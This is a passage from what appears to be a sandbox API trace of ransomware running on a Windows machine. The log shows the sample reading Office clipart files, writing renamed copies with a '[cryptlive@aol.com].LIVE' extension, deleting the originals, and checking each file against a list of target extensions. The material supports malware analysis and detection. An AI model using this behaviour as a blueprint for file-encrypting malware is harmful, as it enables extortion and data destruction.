lpString2=".WMF") returned -1 [0134.191] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.191] lstrlenW (lpString="AN04267_.WMF") returned 12 [0134.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.191] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7804) returned 1 [0134.191] CloseHandle (hObject=0x2f8) returned 1 [0134.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0134.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.192] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.192] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.192] GetLastError () returned 0x0 [0134.192] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0134.194] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0134.196] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.196] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.197] SetEndOfFile (hFile=0x36c) returned 1 [0134.197] CloseHandle (hObject=0x36c) returned 1 [0134.197] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.197] SetEndOfFile (hFile=0x2f8) returned 1 [0134.200] CloseHandle (hObject=0x2f8) returned 1 [0134.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0134.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.201] lstrlenW (lpString=".doc") returned 4 [0134.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString=".docx") returned 5 [0134.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.201] lstrlenW (lpString=".pdf") returned 4 [0134.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString=".xls") returned 4 [0134.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.201] lstrlenW (lpString=".xlsx") returned 5 [0134.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.201] lstrlenW (lpString=".ppt") returned 4 [0134.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.201] lstrlenW (lpString=".zip") returned 4 [0134.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.201] lstrlenW (lpString=".rar") returned 4 [0134.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString=".bz2") returned 4 [0134.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString=".7z") returned 3 [0134.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.201] lstrlenW (lpString=".dbf") returned 4 [0134.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.201] lstrlenW (lpString=".1cd") returned 4 [0134.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.202] lstrlenW (lpString=".jpg") returned 4 [0134.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.202] lstrlenW (lpString=".doc") returned 4 [0134.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString=".docx") returned 5 [0134.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.202] lstrlenW (lpString=".pdf") returned 4 [0134.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString=".xls") returned 4 [0134.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.202] lstrlenW (lpString=".xlsx") returned 5 [0134.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.202] lstrlenW (lpString=".ppt") returned 4 [0134.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.202] lstrlenW (lpString=".zip") returned 4 [0134.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.202] lstrlenW (lpString=".rar") returned 4 [0134.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString=".bz2") returned 4 [0134.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.202] lstrlenW (lpString=".7z") returned 3 [0134.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.202] lstrlenW (lpString=".dbf") returned 4 [0134.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.203] lstrlenW (lpString=".1cd") returned 4 [0134.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0134.203] lstrlenW (lpString=".jpg") returned 4 [0134.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.203] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.203] lstrlenW (lpString="AN04269_.WMF") returned 12 [0134.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.203] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2016) returned 1 [0134.203] CloseHandle (hObject=0x2f8) returned 1 [0134.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0134.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.204] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.204] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.204] GetLastError () returned 0x0 [0134.205] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0134.207] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0134.208] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.208] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.208] SetEndOfFile (hFile=0x36c) returned 1 [0134.208] CloseHandle (hObject=0x36c) returned 1 [0134.208] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.208] SetEndOfFile (hFile=0x2f8) returned 1 [0134.210] CloseHandle (hObject=0x2f8) returned 1 [0134.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0134.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.464] lstrlenW (lpString=".doc") returned 4 [0134.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.464] lstrlenW (lpString=".docx") returned 5 [0134.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.465] lstrlenW (lpString=".pdf") returned 4 [0134.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString=".xls") returned 4 [0134.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.465] lstrlenW (lpString=".xlsx") returned 5 [0134.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.465] lstrlenW (lpString=".ppt") returned 4 [0134.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString=".zip") returned 4 [0134.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.465] lstrlenW (lpString=".rar") returned 4 [0134.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString=".bz2") returned 4 [0134.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString=".7z") returned 3 [0134.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString=".dbf") returned 4 [0134.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString=".1cd") returned 4 [0134.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString=".jpg") returned 4 [0134.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.465] lstrlenW (lpString=".doc") returned 4 [0134.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString=".docx") returned 5 [0134.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.465] lstrlenW (lpString=".pdf") returned 4 [0134.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.465] lstrlenW (lpString=".xls") returned 4 [0134.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.466] lstrlenW (lpString=".xlsx") returned 5 [0134.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.466] lstrlenW (lpString=".ppt") returned 4 [0134.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.466] lstrlenW (lpString=".zip") returned 4 [0134.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.466] lstrlenW (lpString=".rar") returned 4 [0134.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.466] lstrlenW (lpString=".bz2") returned 4 [0134.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.466] lstrlenW (lpString=".7z") returned 3 [0134.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.466] lstrlenW (lpString=".dbf") returned 4 [0134.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.466] lstrlenW (lpString=".1cd") returned 4 [0134.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0134.466] lstrlenW (lpString=".jpg") returned 4 [0134.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.466] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.466] lstrlenW (lpString="AN04332_.WMF") returned 12 [0134.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.630] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4296) returned 1 [0134.630] CloseHandle (hObject=0x36c) returned 1 [0134.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0134.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.673] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.674] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.678] GetLastError () returned 0x0 [0134.678] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0134.680] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0134.681] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.681] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.681] SetEndOfFile (hFile=0x1ec) returned 1 [0134.681] CloseHandle (hObject=0x1ec) returned 1 [0134.681] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.681] SetEndOfFile (hFile=0x36c) returned 1 [0134.684] CloseHandle (hObject=0x36c) returned 1 [0134.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString=".doc") returned 4 [0134.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString=".docx") returned 5 [0134.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.686] lstrlenW (lpString=".pdf") returned 4 [0134.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString=".xls") returned 4 [0134.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.686] lstrlenW (lpString=".xlsx") returned 5 [0134.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.686] lstrlenW (lpString=".ppt") returned 4 [0134.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString=".zip") returned 4 [0134.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.686] lstrlenW (lpString=".rar") returned 4 [0134.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString=".bz2") returned 4 [0134.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString=".7z") returned 3 [0134.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString=".dbf") returned 4 [0134.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString=".1cd") returned 4 [0134.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.686] lstrlenW (lpString=".jpg") returned 4 [0134.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString=".doc") returned 4 [0134.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString=".docx") returned 5 [0134.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.687] lstrlenW (lpString=".pdf") returned 4 [0134.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString=".xls") returned 4 [0134.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.687] lstrlenW (lpString=".xlsx") returned 5 [0134.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.687] lstrlenW (lpString=".ppt") returned 4 [0134.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString=".zip") returned 4 [0134.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.687] lstrlenW (lpString=".rar") returned 4 [0134.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString=".bz2") returned 4 [0134.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString=".7z") returned 3 [0134.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString=".dbf") returned 4 [0134.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString=".1cd") returned 4 [0134.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0134.687] lstrlenW (lpString=".jpg") returned 4 [0134.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.688] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.688] lstrlenW (lpString="AN04384_.WMF") returned 12 [0134.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.688] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4996) returned 1 [0134.688] 